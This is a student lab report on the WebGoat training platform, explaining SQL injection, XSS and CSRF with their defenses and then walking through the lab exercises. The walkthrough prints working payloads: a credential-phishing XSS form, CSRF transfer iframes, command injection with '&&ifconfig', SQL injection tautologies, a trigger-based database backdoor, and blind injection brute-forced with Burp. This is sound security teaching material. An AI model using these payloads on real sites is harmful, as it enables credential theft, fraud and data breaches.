Exp9 Web安全基础
本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。
一.实验后回答问题
(1)SQL注入攻击原理,如何防御
原理:
SQL注入是针对数据库的一种攻击方式。攻击者会将一些恶意代码插入到字符串中,将该字符串传递到SQLServer数据库的实例中进行分析和执行。主要形式有两种。一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量,也被称为直接注入式攻击法。二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原数据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。
防御:
1>普通用户与系统管理员用户的权限要有严格的区分.
在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用SQL语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。
2>强迫使用参数化语句.
如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到SQL语句中。
3>加强对用户输入的验证。
测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入,防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出,对于防治注入式攻击有比较明显的效果.
(2)XSS攻击的原理,如何防御
原理:
XSS跨站脚本攻击,是Web程序中常见的漏洞,分三类,存储型XSS、反射型XSS、DOM-XSS.XSS属于被动式且用于客户端的攻击方式,攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
防御:
1>完善的过滤体系
永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。
2>Html encode
假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。
比如用户输入:
<script>window.location.href=”http://www.baidu.com”;</script>
,保存后最终存储的会是:<script>window.location.href="http://www.baidu.com"</script>
在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。
(3)CSRF攻击原理,如何防御
原理:
Cross-site+request+forgery跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站,是一种对网站的恶意利用.
防御:
1>通过 referer、token或者验证码来检测用户提交。
2>尽量不要在页面的链接中暴露用户隐私信息。
3>对于用户修改删除等操作最好都使用post操作。
4>避免全站通用的cookie,严格设置cookie的域。
二.实验总结与体会
BurpSuite捕获不到报文问题解决,火狐浏览器中有个地方引起的:
不使用的代理,把这行去掉,就可以了。如还有其它问题,请点击链接查看:关于Burp Suite不能抓包的解决方法
本次实验是最后一次了,通关模式的学习方法很新颖,虽然为难英语水平...真的要好好学英语。突然感觉这学期也快过去了,有种做了一学期实验的感觉,哈哈哈哈,非常充实,收获很多,不但收获了知识,提高了动手能力,更重要的是提高了自己动脑思考解决问题的能力,不仅在这门课,在今后各方面都有很重要的作用。感谢老师的指导与陪伴!o(▽)o
三.实践过程记录
webgoat安装启动
下载地址:https://github.com/WebGoat/WebGoat/releases
下载下来后将jar包放到kali中,输入指令
java -jar webgoat-container-7.0.1-war-exec.jar
浏览器打开http://127.0.0.1:8080/WebGoat/login.mvc
输入下方给出的用户名和密码即可登陆。
1.Phishing with XSS 跨站脚本钓鱼攻击
此题要在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码。
代码如下:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
将这段代码输入到输入框中:
点击search出现如下登录框,在登录框中输入用户名、密码:
点击登录后跳出弹框如下,攻击成功!
2.Stored XSS Attacks 存储型XSS攻击
存储型XSS攻击是持久化的,代码是存储在服务器中的,用户访问该页面的时候触发代码执行。title任意输入,Message输入消息,嵌入一段js代码,用户点击后即可触发,
如在Message框中输入script>alert("I'm zhanghuaijun");</script>
:
点击提交后弹出对话框,攻击成功!
3.Reflected XSS Attacks 反射型XSS攻击
它的特点是非持久化,需要欺骗用户自己去点击链接才能触发XSS代码。
在code框中输入<script>alert("I'm zhanghuaijun");</script>
点击Purchase出现对话框:
攻击成功!
4.Cross Site Request Forgery
跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
查看页面右边Parameters中的src和menu值
在title框中任意输入,message框中输入代码:<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额'>
提交后生成一个链接,点击即可查看用户操作的信息,攻击成功!
5.CSRF Prompt By-Pass
此题包括了两个请求,一是转账请求,二是确认转账成功请求,即需要额外传递两个参数给服务器。查看页面右边Parameters中的src和menu值,并在title框中任意输入,message框中输入代码:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
提交后生成一个链接,点击后即可查看用户操作的信息,成功转出500,攻击成功!
6.Command Injection
在目标主机上执行系统命令,可以看到这一题的选择框是一个下拉框,于是,我们可以使用火狐浏览器下的firebug对源代码进行修改.
但是,我在我的浏览器上没找到firebug,百度了下原来是我的浏览器是新版本的,新版本的火狐浏览器已经不支持firebug扩展,并且该扩展已经停止开发适配。 所以新版本的可以使用火狐浏览器自带的developtools(开发者工具)可以完美替代firebug的调试作用。
两种办法,1:Tools->Web Developer->Toggle Tools
2: 右键,Inspect Element
开始修改,修改HelpFile的值为AccessControlMatrix.help"&&ifconfig"
,其中的双引号是为了封闭原语句中的双引号,&&在命令行中是执行另外一条语句的意思.
点击GO后,成功!
7.Numeric Injection
注入一条SQL语句来显示全部天气信息。可以看到这一题的选择框还是一个下拉框,还是用上面的developtools。
开始修改,station那里有个复选框,可以选择查看相应城市的信息,每选择一个城市,就会把该城市对应的station字段填入SELECT * FROM weather_data WHERE station = ?这条语句中,在数据库后台执行,并将从数据库中得到的搜索结果打印在屏幕上。我们可以随便选择一个城市,把它对应的station或上一个永真式,如下:
点击go,成功!
8.Log Spoofing
在User Name文本框中输入Smith%0d%0aLogin Succeeded for username: admin<script>alert(“20154304test”)</script>
达到欺骗登录效果:
可看到smith登录失败,admin登录成功。
9.String SQL Injection
构造永真式'or 1='1,第一个分号用来闭合原输入语句的前一个分号,而第二个分号用来闭合原输入语句的后一个分号
如下,攻击就成功了,可以显示所有用户的信息
10.LAB: SQL Injection
stage1:String SQL Injection
使用字符串SQL注入绕过认证,登陆Boss(“Neville”)的账号。
将password的最大长度maxlength改为20:
利用永真式,修改password=' or'1'='1,成功:
stage3:Numeric SQL Injection
用员工账号登陆,进入员工页面后再通过SQL注入来查看老板的账户信息,先用刚才的方法选择一名员工登录。
从源代码中看一下在数据库中查找的方式,发现传递的参数是员工ID,想要调出老板账户信息,就得把老板排在id可以预测的位置,一般来说老板的工资都应该是最高的,所以把其中的value值改为101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一个:
点击viewprofile按键,可成功看到老板的账户:
11.Database Backdoors
利用SQL输入插入后门,首先是一个SQL注入点,可以通过数字注入看到所有人的薪水,然后使用以下SQL指令可以修改薪水
在User ID输入框输入101 or 1=1;update employee set salary = 100000
,点击提交,如下图所示:
使用SQL注入注入一个后门,创建新用户的时候修改邮箱为你的邮箱
101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid
点击提交,如下图所示:
12.Blind Numeric SQL Injection
数字盲注,此题的要求是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值,从服务端页面返回的信息中可以知道,它只告诉你两种信息:帐号有效或无效。
输入语句
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000);
查看pin数值是否大于5000
在0-5000之间,用折半查找继续试
在0-2500之间
在1250-2500之间
在2000-2500之间
使用BurpSuite,截获报文进行暴力破解,在BurpSuite中依次选择Proxy->Options->Add新添加一个端口,4304,点击确认后会在Options下增加一行,勾选新形成的这一行:
在浏览器进行手动代理设置点击浏览器右上方的更多选项卡,选择preference
在页面左侧选择advanced,选择network页标签,在connection那一行选择settings…
设置代理服务器和端口(要与BurpSuite中绑定的一致)
在webgoat端点击go,捕获到了报文,右键选择send to intruder
然后在Intruder下选择相关设置:在Target中,设置本机IP地址HOST,和端口号,也就是WebGoat的地址和端口号。
在Positions中,选择Sniper模式,然后用光标选中需要暴力穷举的变量,在此处是account_number后的值,然后点击右侧的add添加
在Payloads中,选择type类型为number,然后设置变化范围2000-2500,并设置步长为1
然后点击右上方Start attack开始攻击
找到数据包大小变化的位置2364,用2364试一下,成功!